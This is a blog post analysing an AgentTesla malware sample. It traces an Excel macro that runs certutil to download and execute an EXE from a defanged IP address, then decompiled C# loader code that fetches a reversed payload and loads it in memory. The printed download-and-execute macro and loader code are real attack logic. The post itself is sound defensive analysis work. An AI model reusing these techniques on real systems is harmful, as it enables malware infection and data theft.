Post

An AgentTesla Sample Using VBA Macros and Certutil

Posted **Mar 26, 2022** • Updated **Mar 29, 2022**
By **Tony Lambert** **11 min** read

AgentTesla is a .NET stealer that adversaries commonly buy and combine with other malicious products for deployment. In this post I'm tearing into a XLSM document that downloads and executes further AgentTesla malware. If you want to follow along at home, the sample is available in MalwareBazaar here: https://bazaar.abuse.ch/sample/d1c616976e917d54778f587a2550ee5568a72b661d5f04e68d194ce998864d84/.

Triaging the first stage

First stop, triage! MalwareBazaar claims the file is a XLSM Excel document but we should still verify just in case.

Console

```
remnux@remnux:~/cases/tesla-xlsm$ diec mv_tvm.xlsm
Binary
    Archive: Zip(2.0)[25.6%,1 file]
    Data: ZIP archive

remnux@remnux:~/cases/tesla-xlsm$ file mv_tvm.xlsm
mv_tvm.xlsm: Microsoft Excel 2007+

remnux@remnux:~/cases/tesla-xlsm$ xxd mv_tvm.xlsm | head
00000000: 504b 0304 1400 0800 0800 780d 7954 7c5e  PK........x.yT|^
00000010: 7c2f 8e01 0000 1006 0000 1300 0000 5b43  |/............[C
00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d  ontent_Types].xm
00000030: 6ccd 544d 6fdb 300c fd2b 86ae 85a5 b487  l.TMo.0..+......
```

```
00000040: 6218 e2f4 b076 c7b5 c0ba 1fc0 484c ac46  b....v......HL.F
00000050: 5f10 d534 f9f7 a3ec 066b 0377 c8b0 0cd8  _..4.....k.w....
00000060: c516 f5f8 f81e 65ca f39b 9d77 cd16 33d9  ......e....w..3.
00000070: 183a 7129 67a2 c1a0 a3b1 61dd 891f 8f5f  .:q)g.....a...._
00000080: db4f a2a1 02c1 808b 013b b147 1237 8bf9  .O.......;.G.7..
00000090: e33e 2135 cc0d d489 be94 f459 29d2 3d7a  .>!5.......Y).=z
```

Detect-It-Easy thinks we have a ZIP archive and `file` thinks we have a Microsoft Excel 2007+ document. Both are correct as MS Excel 2007+ documents are essentially ZIP archives containing XML files. We can verify that assumption using `xxd` and seeing the file names of XML files within the XLSM document. Now we definitely know, this document is for MS Excel.

Analyzing the document macro

The easiest way to grab low-hanging macro functionality for me is through `olevba`. In this case, the macro functionality is straightforward:

Console

```
remnux@remnux:~/cases/tesla-xlsm$ olevba mv_tvm.xlsm
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: mv_tvm.xlsm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
PID = Shell("cmd /c certutil.exe -urlcache -split -f ""hxxp://18.179.111[.]240/xr0/loader/
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
```

```
|Suspicious|vbHide              |May run an executable file or a system      |
|          |                    |command                                     |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be   |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                    |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                    |
|IOC       |hxxp://18.179.111[.]24|URL                                         |
|          |0/xr0/loader/uploads|                                            |
|          |/scan08710203065.exe|                                            |
|IOC       |18.179.111[.]240      |IPv4 address                                |
|IOC       |certutil.exe        |Executable file name                        |
|IOC       |scan08710203065.exe |Executable file name                        |
|IOC       |Lqdzvm.exe          |Executable file name                        |
+----------+--------------------+--------------------------------------------+
```

The macro contains a subroutine named `Workbook_Open`, which launches when Excel opens this document. The subroutine executes a `Shell` command, which spawns `cmd.exe` and a `certutil.exe` process. The certutil process uses a `-urlcache` and `-split` command line option, downloads from the specified URL, and stores the contents within `Lqdzvm.exe.exe` Afterward, `cmd.exe` executes the downloaded EXE.

Since the VBA macro here is pretty brief, there's not much else to investigate in the document. Let's move on to the second stage, the downloaded EXE.

Analyzing Lqdzvm.exe.exe

We can get a lead on this EXE using `diec` and `file`.

Console

```
remnux@remnux:~/cases/tesla-xlsm$ file Lqdzvm.exe.exe
Lqdzvm.exe.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

remnux@remnux:~/cases/tesla-xlsm$ diec Lqdzvm.exe.exe
PE32
```

```
    Protector: Smart Assembly(-)[-]
    Library: .NET(v4.0.30319)[-]
    Linker: Microsoft Linker(8.0)[GUI32]
```

The `file` output for the EXE indicates it is a Mono/.NET assembly for Windows. The `diec` command gets more specific, showing the EXE is also protected using Smart Assembly, a commercial obfuscator for .NET technologies. Using that knowledge we can attempt some deobfuscation and decompilation using `ilspycmd`.

Console

```
remnux@remnux:~/cases/tesla-xlsm$ de4dot Lqdzvm.exe.exe -p sa

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected SmartAssembly 8.1.0.4892 (/home/remnux/cases/tesla-xlsm/Lqdzvm.exe.exe)
Cleaning /home/remnux/cases/tesla-xlsm/Lqdzvm.exe.exe
Renaming all obfuscated symbols
Saving /home/remnux/cases/tesla-xlsm/Lqdzvm.exe-cleaned.exe

remnux@remnux:~/cases/tesla-xlsm$ ilspycmd Lqdzvm.exe-cleaned.exe > Lqdzvm.exe-cleaned.de
```

From here we can examine the decompiled C# code, starting with the assembly properties.

C#

```
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribut
[assembly: AssemblyTitle("BandiFix")]
[assembly: AssemblyDescription("BandiFix")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Bandicam.com")]
[assembly: AssemblyProduct("BandiFix")]
[assembly: AssemblyCopyright("Copyright(c) 2010-2020 Bandicam.com.  All rights reserv
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("3659e84e-1949-4909-85ac-f5710802a51c")]
[assembly: AssemblyFileVersion("2.0.0.111")]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET
[assembly: AssemblyVersion("2.0.0.111")]
```

The assembly properties/attributes here resemble those for the Bandicam BandiFix application. The adversary is likely trying to masquerade as the application to avoid attention. The GUID `3659e84e-1949-4909-85ac-f5710802a51c` in this EXE is a TypeLib ID GUID. You can potentially use the property in VT or other tools to pivot and find similar EXEs.

Next, we can dive into the entry point, `Main()`.

```csharp
namespace ns0
{
        internal class Class0
        {
                [STAThread]
                private static void Main()
                {
                        Class1.smethod_0();
                        Class1.smethod_1();
                        Class2.smethod_1();
                }
        }
```

The `Main()` function is pretty simple, branching off to three other methods defined in two classes. Let's jump into the code at `Class1.smethod_0()` to see it.

```
internal class Class1
{
    static void smethod_0()
    {
        ProcessStartInfo val = new ProcessStartInfo();
        val.set_FileName("powershell");
        val.set_Arguments("-enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzA
        val.set_WindowStyle((ProcessWindowStyle)1);
        Process.Start(val).WaitForExit();
        try
        {
            ServicePointManager.set_SecurityProtocol((SecurityProtocolType)3072);
        }
        catch
        {
        }
    }
```

This method creates a ProcessStartInfo object, fills its properties with values to launch PowerShell with a base64-encoded command line, sets the window style to hidden, and starts the PowerShell process. The encoded PowerShell command decodes to `Start-Sleep -Seconds 20`. Combined with the `WaitForExit()` function when started, this shows the code waits/sleeps for 20 seconds before moving to the next step. In the next step, the code sets the .NET ServicePointManager's SecurityProtocol property to TLS1.2.

Now we can move into the next function, `Class1.smethod_1()`.

```
static void smethod_1()
{
    List<byte> list = new List<byte>();
    byte[] array = Class2.smethod_0();
    Stack val = new Stack();
    val.Push((object)"Welcome");
    val.Push((object)"Tutlane");
    val.Push((object)20.5f);
    val.Push((object)10);
    val.Push((object)null);
    int num = array.Length;
    while (num-- > 0)
    {
        list.Add(array[num]);
    }
    val.Push((object)100);
    foreach (object? item in val)
    {
        Console.WriteLine(item);
    }
    AppDomain.CurrentDomain.Load(list.ToArray());
}
```

Within the function there is immediately some interesting code. First, there is a `byte[]` array that holds content from `Class2.smethod_0()` byte arrays in malware tend to include string or binary content, so my hypothesis for the array is that is designed to hold one of those. The code then manipulates a Stack object, pushing objects onto it. It doesn't seem to use them in a productive way outside a subsequent `Console.WriteLine` call. The byte array does get used, in a reversal algorithm. The `num` variable and following `while` loop starts with the ending element of the byte array and moves backward to the first, adding each element to a list. After the reversal, the list gets converted back to an array and used as a parameter for `AppDomain.CurrentDomain.Load()`. This call is designed to load an arbitrary .NET assembly into the current application domain. This is roughly similar to `System.Reflection.Assembly.Load()`. This adds some credence to our hypothesis from earlier, that the byte array will likely hold binary content that translates into an assembly. So let's pivot over to that function to see what it does.

C#

```
internal class Class2 : Process
{
internal static byte[] smethod_0()
{
    string[] array = new string[3]
    {
        "Dot",
        "Net",
        "Perls"
    };
    Stack<string> val = new Stack<string>((IEnumerable<string>)array);
    Enumerator<string> enumerator = val.GetEnumerator();
    try
    {
        while (enumerator.MoveNext())
        {
            string current = enumerator.get_Current();
            Console.WriteLine(current);
        }
    }
    finally
    {
        ((IDisposable)enumerator).Dispose();
    }
    return Class1.smethod_2("hxxp://18.179.111[.]240/xr0/loader/uploads/scan08710203
}
```

Most of the code in this function is either junk or imposes a slight delay before further execution. The only real important code in the function is the last line that calls `Class1.smethod_2()`, passing in a URL to an alleged JPG file. We know this function is supposed to return a byte array to get reversed and loaded into memory, so there's a decent chance this upcoming code performs a download of a reversed Windows EXE or DLL. Let's jump to that code:

C#

```
static byte[] smethod_2(string string_0)
{
    using MemoryStream memoryStream = new MemoryStream();
    WebRequest val = WebRequest.Create(string_0);
    Stream responseStream = val.GetResponse().GetResponseStream();
    responseStream.CopyTo(memoryStream);
    return memoryStream.ToArray();
}
```

Sure enough, the method creates a WebRequest object for the URL, passes its response into a MemoryStream, and returns the content as a byte array. This function ends the second branch of code from `Main()`, and we can dive into the final function from `Main()` here:

C#

```
internal static void smethod_1()
{
    Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
    foreach (Assembly assembly in assemblies)
    {
        Type[] types = assembly.GetTypes();
        foreach (Type type in types)
        {
            try
            {
                Queue<int> val = new Queue<int>();
                val.Enqueue(10);
                val.Enqueue(23);
                val.Enqueue((int)type.InvokeMember("Zsjeajjr", BindingFlags.InvokeMet
                val.Enqueue(5);
                val.Enqueue(29);
                Enumerator<int> enumerator = val.GetEnumerator();
                try
                {
                    while (enumerator.MoveNext())
                    {
                        int current = enumerator.get_Current();
                        Console.WriteLine(current);
                    }
                }
                ...
```

I've gone ahead and left out some of the function code for brevity, the important bits are shown above. For each class/type in each assembly namespace in this application domain, the code searches for a method named `Zsjeajjr()`. Once found, the method gets invoked and control is passed to that method.

Now we can explore that `scan08710203065_Kvnllpaf.jpg` file downloaded and loaded!

Analyzing scan08710203065_Kvnllpaf.jpg

From the previous stage we know this file should contain the bytes of a Windows EXE or DLL that are reversed. Our typical `file` and `diec` commands won't work because the first bytes of the file will presumably be zeroes. We can use `xxd` and `tail` to see the file contents.

Console

```
remnux@remnux:~/cases/tesla-xlsm$ xxd scan08710203065_Kvnllpaf.jpg | tail
00095760: 0009 5000 0006 010b 210e 00e0 0000 0000  ..P.....!.......
00095770: 0000 0000 623c f3a6 0003 014c 0000 4550  ....b<.....L..EP
00095780: 0000 0000 0000 0024 0a0d 0d2e 6564 6f6d  .......$....edom
00095790: 2053 4f44 206e 6920 6e75 7220 6562 2074   SOD ni nur eb t
000957a0: 6f6e 6e61 6320 6d61 7267 6f72 7020 7369  onnac margorp si
000957b0: 6854 21cd 4c01 b821 cd09 b400 0eba 1f0e  hT!.L..!........
000957c0: 0000 0080 0000 0000 0000 0000 0000 0000  ................
000957d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000957e0: 0000 0000 0000 0040 0000 0000 0000 00b8  .......@........
000957f0: 0000 ffff 0000 0004 0000 0003 0090 5a4d  ..............ZM
```

Excellent, we have a MZ header and DOS stub reversed in the file bytes. We can easily get the original order using PowerShell code:

Powershell

```
[Byte[]] $code = Get-Content -AsByteStream ./scan08710203065_Kvnllpaf.jpg
[Array]::Reverse($code)
Set-Content -Path ./original.bin -Value $code -AsByteStream
```

Now we can examine the original binary file to see the next steps.

Console

```
remnux@remnux:~/cases/tesla-xlsm$ diec original.bin
PE32
    Protector: Eziriz .NET Reactor(6.x.x.x)[By Dr.FarFar]
    Library: .NET(v4.0.30319)[-]
    Linker: Microsoft Linker(6.0)[DLL32]

remnux@remnux:~/cases/tesla-xlsm$ file original.bin
original.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windc
```

Once again, this stage looks to be a .NET DLL packed using .NET Reactor, another commercial obfuscator. This is where I want to stop for the evening because when I tried to move into subsequent stages I was stumped by some of the obfuscation and the amount of code in this original DLL. I leave its deobfuscation and decompilation up to the reader as further work if desired, and the sample is available in MalwareBazaar here: https://bazaar.abuse.ch/sample/5250352cea9441dd051802bd58ccc6b2faf05007ee599e6876b9cce3fdc5aa26/.

Thanks for reading!

malware

malware agenttesla macro certutil

Share:

Further Reading

Jan 3, 2022

A Tale of Two Dropper Scripts for Agent Tesla

In this post I want to look at two script files that drop Agent Tesla stealers on affected systems and show…

Mar 4, 2022

Aggah PPAM macros renaming MSHTA

In this quick post I'm taking a look at a PowerPoint file with macros on board! According to MalwareBazaar's…

Feb 6, 2022

AgentTesla From RTF Exploitation to .NET Tradecraft

When adversaries buy and deploy threats like AgentTesla you often see this functional and…

OLDER

Formbook Distributed Via VBScript, PowerShell, and C# Code

NEWER

Snip3 Crypter used with DCRat via VBScript